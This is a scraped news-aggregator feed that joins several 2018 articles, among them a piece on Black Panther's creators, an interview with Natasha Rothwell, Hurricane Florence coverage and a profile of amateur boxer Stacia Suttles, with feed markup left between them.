“Marvel was the first major company to introduce a Black character,” says George Seminara, former editor at Def Jam, who still reads about 50 titles a week. “Stan Lee, a liberal Jewish guy, decides it’s time. But what does a thirtysomething know about Black America?” Even though Lee is leading a staff packed with nerdy white comic dudes, he keeps pushing. “Stan loves T’Challa, the Black Panther, and wants him to be treated right, so he brought in Black and brown creators.”

From the absolutely epic comics artist Denys Cowan to Christopher Priest, the first Black mainstream comics editor/writer, the change was immediately felt — even if inside Marvel it wasn’t all peace, love and racial harmony, at least according to Priest’s website.

“When we watched the movie Shaft back in the ’70s,” says longtime fan boy Gary Baldwin about the Black bad-ass detective whom Lee had used to justify his grittier creations like Luke Cage, “the whole theater would be in their seats screaming their heads off. Black Panther was this writ small. ‘Empowering’ doesn’t even come close to describing what was happening. It was the most amount of fun we were going to have at 12.”

And now? Te-Nehisi Coates, fer chrissakes, is filling comic tales with all kinds of quasi-African lore when he’s not writing books or articles for The Atlantic. “But from Chris Priest to now,” Seminara says, “it’s been amazing. The movie obviously owes them a debt.”

So all hail Wakanda and its preeminent prince, scientist and all-around deadly Black Panther. “We didn’t have any Black Panthers in Brooklyn,” laughs Baldwin about the ’60s Black nationalist urban guerrillas. “But we had the Black Panther.”

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]]> https://briefnews.eu/the-black-path-to-the-black-panther/feed/ 0 The path to economic development is growing more treacherous, again https://briefnews.eu/the-path-to-economic-development-is-growing-more-treacherous-again-2/ https://briefnews.eu/the-path-to-economic-development-is-growing-more-treacherous-again-2/#respond Sat, 03 Nov 2018 19:36:55 +0000 http://briefnews.eu/the-path-to-economic-development-is-growing-more-treacherous-again-2/ IN THE 1990S economists had almost given up on the developing world. Although individual countries, like Singapore or South Korea, occasionally scaled the income ladder, the overall picture was, in the words of Lant Pritchett, a development economist at Harvard University, “divergence, big-time” between advanced economies and the rest. Then the scene changed. From the late 1990s global trade grew explosively, and the gap between the rich and the rest closed fast. Poverty tumbled. The share of people living on no more than $ 1.90 a day (at purchasing-power parity) fell from 36% in 1990 to just 10% in 2015. It would be the best of news if this trend could be maintained. Sadly, convergence seems to be slowing. That is bad news for Africa in particular.

The path to becoming a rich country usually runs through industrialisation, supported by opening up to trade and developing export industries. Trade facilitates technology transfer. Global markets weed out all but the most productive firms and allow even companies from small countries to scale up using techniques such as mass production.

Historically, few poor countries had stable, growth-oriented governments for long enough to build a broad, competitive industrial base. But in recent decades the once-exclusive club of fast-growing economies welcomed scores of new members,…

]]> https://briefnews.eu/the-path-to-economic-development-is-growing-more-treacherous-again-2/feed/ 0 The path to economic development is growing more treacherous, again https://briefnews.eu/the-path-to-economic-development-is-growing-more-treacherous-again/ https://briefnews.eu/the-path-to-economic-development-is-growing-more-treacherous-again/#respond Sat, 03 Nov 2018 11:21:30 +0000 http://briefnews.eu/the-path-to-economic-development-is-growing-more-treacherous-again/ Emulating China’s development model is getting harder

]]> https://briefnews.eu/the-path-to-economic-development-is-growing-more-treacherous-again/feed/ 0 Insecure’s Natasha Rothwell on Finding Her Path to Hollywood https://briefnews.eu/insecures-natasha-rothwell-on-finding-her-path-to-hollywood/ https://briefnews.eu/insecures-natasha-rothwell-on-finding-her-path-to-hollywood/#respond Wed, 31 Oct 2018 06:59:18 +0000 http://briefnews.eu/insecures-natasha-rothwell-on-finding-her-path-to-hollywood/ Natasha Rothwell was born in Wichita, Kansas, but doesn’t remember much about it. Her father was in the Air Force, so she grew up moving around—to New Mexico, Florida, Illinois, New Jersey, Maryland, and even Turkey. “I definitely have wanderlust because of how I grew up,” she says. As an adult, she moved to Tokyo, where she performed at the Tokyo Comedy Store and taught English. She’s had a variety of jobs, including working at McDonald’s, where, on her father’s advice and to her manager’s surprise, she gave two weeks’ notice when she decided to leave.

Rothwell is a producer of HBO’s Insecure, in which she also stars as Kelli. In addition, she’s developing a new show for HBO for which she will be an executive producer and a writer; she’ll also star in that. Before all this, she wrote for Saturday Night Live and performed improv at the Upright Citizens Brigade.

I recently spoke with Rothwell about changing one’s mind about career paths, transferring between colleges, and her career mantras. This interview has been lightly edited and condensed for clarity.

Lola Fadulu: I saw in an interview with The Baltimore Sun that you considered journalism for a little bit, but then ultimately changed your mind. Why did you change your mind?

Natasha Rothwell: It was just misguided. I always loved to write, and I still do as a part of my job. Creative writing was where my passion lay. I thought that because my parents had pretty by-the-book jobs, I should have one too.

I concocted this whole after-school special in my head where I thought my parents would be really upset if I told them I wanted to major in theater, so I thought the next best thing would be to go to school for journalism. My initial school that I went to was Ithaca College, which has an outstanding theater.

I thought proximity to what I wanted to do would be good enough. I remember seeing a production of The House of Blue Leaves. The program had the poem by Langston Hughes that starts, “What happens to a dream deferred?” I remember just crying reading that poem because I was like, Oh, that’s what I’m doing right now. I’m sitting in the audience, and I’m looking at my friends onstage, and I want to be onstage, so I have to change that perspective by literally finding a way to get to the stage.

I had this big coming-out moment with my parents where I was like, “I want to be an actor.” They were so nonplussed. They were like, “Yeah, we know. We were really confused. We thought that that’s what you wanted to do, so we were surprised by the journalism thing, but we wanted to be supportive.”

I ended up transferring to the University of Maryland, where I got a full scholarship for acting. That’s where I completed that program.

Fadulu: Why did you decide to transfer to UMD? Could you have changed your major at Ithaca, or were you locked into journalism there?

Rothwell: No. I could’ve changed my major. I auditioned for the B.F.A. program and got rejected. I was offered a place in the B.A. program. At the time, I thought that the only way to make it to Broadway—because at the time that was my understanding of what I wanted to do—I had to be a B.F.A.

My goal was to transfer to the University of Maryland and take my core credits. At the time, my dad was stationed at the Pentagon and my mom was working at a hospital near there. I was like, I’ll stay at home, and I’ll go get my core credits first semester and spend the spring auditioning for all of these fancy B.F.A. schools.

While I was at the University of Maryland, one of the advisers there said, “Well, we have a full scholarship. You have to audition for it. It’s called a creative-and-performing-arts scholarship.” I decided to do that just in case, as a backup, and I got it. I didn’t expect to get it.

To me, at the time it just made the most frugal sense in the world to go there, even if it was a B.A. program. At that point, I had been there a semester. I’d connected with the professors and felt like I could get what I needed from the program. I didn’t intend to stay, but I’m so glad that I did.

Fadulu: Would you say that you developed an interest in acting and writing at the same time, or did one come before the other?

Rothwell: They happened sort of at the same time, and then performing is what I decided to nurture the most. I have two sisters and a brother, and being in the Air Force, when you move to a new place, your siblings are your first friends. We would often entertain each other. I loved doing that. I loved making them laugh and playing around. We put on talent shows.

[Read: The upside of career restlessness]

I definitely sensed my love of performing and making people laugh through that, but I also remember writing a poem about Martin Luther King and reading it at Thanksgiving. I was maybe 10. It’s so sweet now, but very mortifying to think that I stopped Thanksgiving and was like, “Guys, dear older black people who lived through segregation, let me tell you about this guy, Martin Luther King. It’s going to blow your mind.”

As I got older, when there were opportunities in school for plays and performances, I definitely gravitated toward them, but I would say it wasn’t until high school and college that I started writing one-act plays or monologues.

Fadulu: What was your first-ever job?

Rothwell: Babysitting. I definitely remember reading the Baby-Sitters Club books and thinking, I’ll start a business babysitting some of the neighborhood kids. When I was younger, at the church that we attended, they had the infants’ and toddlers’ room where they needed teenagers to come in and watch kids, so I definitely worked in there.

Fadulu: You liked kids?

Rothwell: Well, it wasn’t necessarily an affinity for kids in that I wanted to be around them, but I think that when you’re young and you’re trying to figure out how to supplement your allowance it’s like, What can I do if I want two candies at the store, and I can only afford one? What are some things that I can do to make money? It was definitely more an economic decision than a passion decision.

Fadulu: Were you considering other ways to make money besides babysitting?

Rothwell: I remember having a Kool-Aid stand. You have to sit in the sun and try to get people to buy warm Kool-Aid. That was probably the only other way I thought of to make money. I think I have a vague memory of bringing candy canes to middle school and selling them around the holidays, but I had to be sneaky because it was candy. Nothing that was a legitimate business.

Fadulu: What was your first job when you were of legal age?

Rothwell: I worked at Blockbuster Video. Rest in peace, except the one that’s left. I worked at McDonald’s. During the summers, I worked multiple jobs. I worked at Target.

My first [real] job was at a bookstore. It was not Borders. What was the one before Borders? There was a bookstore that was pre-Borders. I remember spending maybe three hours curling my hair for this interview. It was so important to me. I was 15.

I was a photographer at JCPenney. Essentially you sat people down, you pushed a series of buttons, and then you were a professional photographer. I bounced between that department and the men’s department. I helped a lot of older men who didn’t understand how colors worked, if something matched. It’s like, “Excuse me, Miss. Do these go together?” I’m like, “No, sir.” I was so unfashionable. I had no business telling anyone what to wear, but that’s what I did.

Fadulu: Do any other memories pop up from working at Blockbuster or McDonald’s?

Rothwell: I remember quitting McDonald’s with a written two-week notice.

Fadulu: Oh, wow. That’s very nice of you.

Rothwell: I’m sort of a nerd and a goody-goody to a fault. I just remember asking my dad, “If I no longer want to be employed by an establishment, how might one leave an establishment?” He’s like, “Well, typically you write. You put in your two weeks’ notice.” So I typed it up. I remember giving it to my manager at McDonald’s. He said, “You could leave today.” I was like, “No. I want to put in my two weeks.” I worked there for two weeks. I think every day I showed up in that two weeks he was surprised. He was like, “Oh, you’re still here. I thought you quit.”

Fadulu: Were you still curling your hair for McDonald’s?

Rothwell: No. I got to wear a visor at McDonald’s. It was a rock-and-roll McDonald’s. I don’t even know if it’s still there. It had a jukebox, and it had black-and-white tile.

Fadulu: Can you talk a little bit about how UMD and UCB prepared you for starting off as a writer for Insecure?

Rothwell: At the University of Maryland, I was very heavily involved in the improv group.

I found my way to New York and started performing at UCB. Because of that, I was seen by SNL and was able to write on SNL. Writing for Saturday Night Live opened a lot of doors for me. I took meetings with Amy Gravitt [the executive vice president of programming] over at HBO. We really connected in our meeting. She served in the Navy, and I’m an Air Force brat. At the end of our meeting she’s like, “Well, we have this show in development I think you’d be really good for. Do you know Awkward Black Girl?” I said, “Oh, yes. Of course I know that show.” She’s just like, “Yeah, it’s going to be a show from the same writer, Issa Rae.” Three months, later I interviewed for the writer’s room via FaceTime with Issa and Prentice, our show runner, and got the job. Basically, that’s how the University of Maryland led me to Insecure.

Fadulu: Do you have a piece of advice you’ve received that has really helped you in your career?

Rothwell: I have a quote framed on my bedroom wall. It says, “Be so good they can’t ignore you.” It’s a Steve Martin quote. Being a person of color at any job always means you’re going to work twice as hard for half as much.

When I read that quote, I remember thinking, Oh, it’s not just about working twice as hard for half as much—it’s about being excellent about what you’re doing, so that way people will pay attention and you’ll stand out. I always strove to just be the best.

]]> https://briefnews.eu/insecures-natasha-rothwell-on-finding-her-path-to-hollywood/feed/ 0 Lowe’s and Home Depot have emergency command centers monitoring Florence and thousands of trucks loaded and ready to go to stores in the storm’s path (HD, LOW) https://briefnews.eu/lowes-and-home-depot-have-emergency-command-centers-monitoring-florence-and-thousands-of-trucks-loaded-and-ready-to-go-to-stores-in-the-storms-path-hd-low/ https://briefnews.eu/lowes-and-home-depot-have-emergency-command-centers-monitoring-florence-and-thousands-of-trucks-loaded-and-ready-to-go-to-stores-in-the-storms-path-hd-low/#respond Sun, 16 Sep 2018 13:46:36 +0000 http://briefnews.eu/lowes-and-home-depot-have-emergency-command-centers-monitoring-florence-and-thousands-of-trucks-loaded-and-ready-to-go-to-stores-in-the-storms-path-hd-low/ hurricane florence home depot employeesKen Blevins/The Star-News via AP

  • Hurricane Florence has people turning to local hardware and supply stores like Lowe’s, Home Depot, and Ace for assistance that the government can’t necessarily provide.
  • These outlets have emergency command centers and meteorologists on duty.
  • After 2017’s brutal hurricane season, Home Depot had revenue of more than $ 100 billion, and Lowe’s earned about $ 68 billion.

MIAMI (AP) — Before and after a hurricane, Ace is the place. And Home Depot and Lowe’s. And many other hardware and building supply outlets.

Not surprisingly, these companies plan for storms such as Hurricane Florence all year. Much like the Federal Emergency Management Agency, supplies are pre-positioned and trucks loaded and ready to go with everything from batteries to gas cans to tarps to chainsaws.

See the rest of the story at Business Insider

NOW WATCH: The Samsung Galaxy Note 9 is a $ 1,000 phone that’s actually worth it

See Also:

SEE ALSO: Firefighters knelt and prayed outside a North Carolina home where a mother and her baby were killed as Hurricane Florence made landfall

DON’T MISS: Full Florence coverage

]]> https://briefnews.eu/lowes-and-home-depot-have-emergency-command-centers-monitoring-florence-and-thousands-of-trucks-loaded-and-ready-to-go-to-stores-in-the-storms-path-hd-low/feed/ 0 ‘God bless us all if this man continues on this path’: Puerto Rican mayor rips into Trump’s disaster-relief effort amid Hurricane Florence https://briefnews.eu/god-bless-us-all-if-this-man-continues-on-this-path-puerto-rican-mayor-rips-into-trumps-disaster-relief-effort-amid-hurricane-florence/ https://briefnews.eu/god-bless-us-all-if-this-man-continues-on-this-path-puerto-rican-mayor-rips-into-trumps-disaster-relief-effort-amid-hurricane-florence/#respond Wed, 12 Sep 2018 03:16:15 +0000 http://briefnews.eu/god-bless-us-all-if-this-man-continues-on-this-path-puerto-rican-mayor-rips-into-trumps-disaster-relief-effort-amid-hurricane-florence/ san juan mayor carmen yulîn cruz puerto ricoGetty Images/Joe Raedle

  • Mayor Carmen Cruz of San Juan, Puerto Rico blasted President Donald Trump’s assertion that his administration’s response to Hurricane Maria was an “unsung success” and “incredibly successful.”
  • “The president keeps adding insult to injury and I think his words are despicable,” Cruz said. “They really do not have any connection with reality.”
  • Trump boasted about his administration’s efforts following Hurricane Maria, which devastated the region and left an estimated 3,000 people dead in its aftermath.
  • Cruz also noted she has been in contact with officials in North Carolina ahead of Hurricane Florence, which is expected to be the first Category 4 storm to hit the state.

Mayor Carmen Cruz of San Juan, Puerto Rico blasted President Donald Trump’s assertion that his administration’s response to Hurricane Maria in 2017 was an “unsung success” and “incredibly successful.”

“The president keeps adding insult to injury and I think his words are despicable,” Cruz said during a CNN interview on Tuesday. “They really do not have any connection with reality.”

See the rest of the story at Business Insider

NOW WATCH: Everything we know about Samsung’s foldable phone

See Also:

SEE ALSO: ‘WE ARE DYING’: Puerto Rico mayor says the island is ‘inching close to a genocide’

]]> https://briefnews.eu/god-bless-us-all-if-this-man-continues-on-this-path-puerto-rican-mayor-rips-into-trumps-disaster-relief-effort-amid-hurricane-florence/feed/ 0 This Boxing Champ Is Carving Her Own Path to the 2020 Olympics https://briefnews.eu/this-boxing-champ-is-carving-her-own-path-to-the-2020-olympics-2/ https://briefnews.eu/this-boxing-champ-is-carving-her-own-path-to-the-2020-olympics-2/#respond Wed, 05 Sep 2018 08:34:37 +0000 http://briefnews.eu/this-boxing-champ-is-carving-her-own-path-to-the-2020-olympics-2/ This was the year it was all supposed to come together. “The Natural,” as Stacia Suttles is known on her home turf in the Bronx, was on the fast track to success built from blood and sweat. But boxing is a cruel game, one that rarely cares for a fighter’s plans. It seemed Suttles still owed the game some tears.

Ttj

Sure enough, in the minutes after losing a semifinal bout at the USA Boxing Elite National Championships on Dec. 7, 2017, the 23-year-old defending national champion shed a few. Suttles may still be bitter about the lopsided 5-0 decision, but don’t count on her staying down for long. Days after the loss, she was back at the Mendez Boxing Gym in Manhattan’s Flatiron District, training for her comeback. 2018 won’t be the year that Suttles moves to the Olympic Training Center in Colorado Springs, Colorado, but for a former college student who picked up the sport as a hobby less than four years ago, she may well end up a better boxer because of the setback. “This loss hurts, but it was supposed to happen,” she says. “I’m starting from the bottom again, in a sense, but there are still so many things I want to do with this sport. Make the Olympics in 2020 … turn pro. I plan on continuing to inspire people.”

Suttles only recently saw the impact she can have on others — simply by doing what she loves. Moments after that crushing defeat in December, she met a young mother who had flown in from Seattle to cheer her on. As Suttles tells it, the woman was moved to keep training and “get her first fight” after following Suttles’s three-year rise through the amateur ranks. “She saw my journey from just being a girl who decided to pick up a sport, fell in love with it and now is an Olympic hopeful,” says Suttles, who doubles as a video producer outside the ring, documenting her travels and training on her YouTube channel. “I think women see me and say, ‘Damn, if she can do it, I can do it too.’”

If you want to be a professional … you really have to love the sport. … There are no promises.

Laila Ali, CBS Sports host and former champion boxer

“She takes everything as a lesson,” says Reese Scott, owner of Harlem’s recently opened Women’s World of Boxing and a mentor to Suttles. “She understands that losses will fuel her. I saw that the first time I met her.’”

Suttles first stepped into a boxing gym in January 2014. She had dropped out of Canisius College in Buffalo, New York, after one semester to pursue freelance video production opportunities while working in Manhattan retail. Eventually, though, retail was all she was doing and, as a lifelong athlete (she started taekwondo at age 4), she hated being so inactive. Suttles gave boxing a try. “It was just something to do after work, and a way to lose my freshman 15,” she says. “I’d always loved combat sports, so I decided to go on a new journey.”

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“When you have it, you have it,” says Scott. “[Suttles] didn’t know that she had a gift yet, but it was obvious. She moves and reacts in a way that you can only be born with.”

After a year of training, Suttles earned a silver medal at the 2015 New York Daily News Golden Gloves. She followed that with a title at the New York Metro Championships, then won the 2016 New York Golden Gloves, qualifying her for the National Golden Gloves tournament, where she took silver. When Suttles qualified for the 2016 National Championships in Kansas City, Missouri, the parameters shifted. “Before nationals, I was just seeing how far I could take the sport,” she says. “But I fell in love. From September to December before nationals, I became a workhorse.”

A workhorse who got fired from her Urban Outfitters job weeks before the tournament because of too many scheduling conflicts, giving her the added push she needed. “It was all or nothing,” says Suttles. She won at nationals, in a 4-1 decision, securing her a spot on Team USA’s Elite Women’s High Performance Squad and the opportunity to compete internationally. In her debut at the Strandja Tournament in Bulgaria, Suttles earned Outstanding Boxer honors. Everything was going according to plan, until it wasn’t.

Suttles had always maintained a weight of 141 pounds, but she dropped to 132 pounds — her target Olympic weight — for the 2017 Nationals in December. At 5 feet 9 inches tall, she uses her long reach to dissect opponents from a distance, but at nationals, she got away from that game plan, choosing instead to brawl her way through the bout. Now, Suttles is the odd woman out: She remains on Team USA but only expects an invite to Colorado Springs if an extra sparring partner is required. Soon, though, she’ll have her shot at redemption. A 2018 nationals title, scheduled for December, would make her the favorite for Olympic qualification the following spring.

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For now, Suttles continues to build out her website, excited to have time to “plant some other seeds” outside of boxing. But in the relentless world of combat, a one-track mind is encouraged — and Suttles has certainly not veered from her plan to turn pro after the 2020 Olympics. The recent success of marketable pros like Mikaela Mayer and Claressa Shields emboldens aspiring female brawlers, and yet, according to CBS Sports host and former champion boxer Laila Ali, women’s professional boxing still struggles to draw serious interest from the public — and with it, big paydays. “If you want to be a professional, you should be able to make a living doing it,” says Ali. “But you really have to love the sport. … There are no promises.”

Suttles has never asked for promises. “I just want to keep learning and improving. I’ve just come to the conclusion that I was born to fight.”

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]]> https://briefnews.eu/this-boxing-champ-is-carving-her-own-path-to-the-2020-olympics-2/feed/ 0 The Air Force wants to fight its severe pilot shortage with a special career path for fliers https://briefnews.eu/the-air-force-wants-to-fight-its-severe-pilot-shortage-with-a-special-career-path-for-fliers/ https://briefnews.eu/the-air-force-wants-to-fight-its-severe-pilot-shortage-with-a-special-career-path-for-fliers/#respond Fri, 10 Aug 2018 17:34:47 +0000 http://briefnews.eu/the-air-force-wants-to-fight-its-severe-pilot-shortage-with-a-special-career-path-for-fliers/ US Air Force F-35 pilot cockpit(US Air Force photo/Staff Sgt. Jensen Stidham)

The head of Air Mobility Command says he keeps asking himself what he got the US Air Force into after working with the service to launch the Aviator Technical Track program.

But Gen. Carlton Everhart is betting that the experimental program will have more benefits than costs at a time when the service is dealing with a troubling pilot shortage.

See the rest of the story at Business Insider

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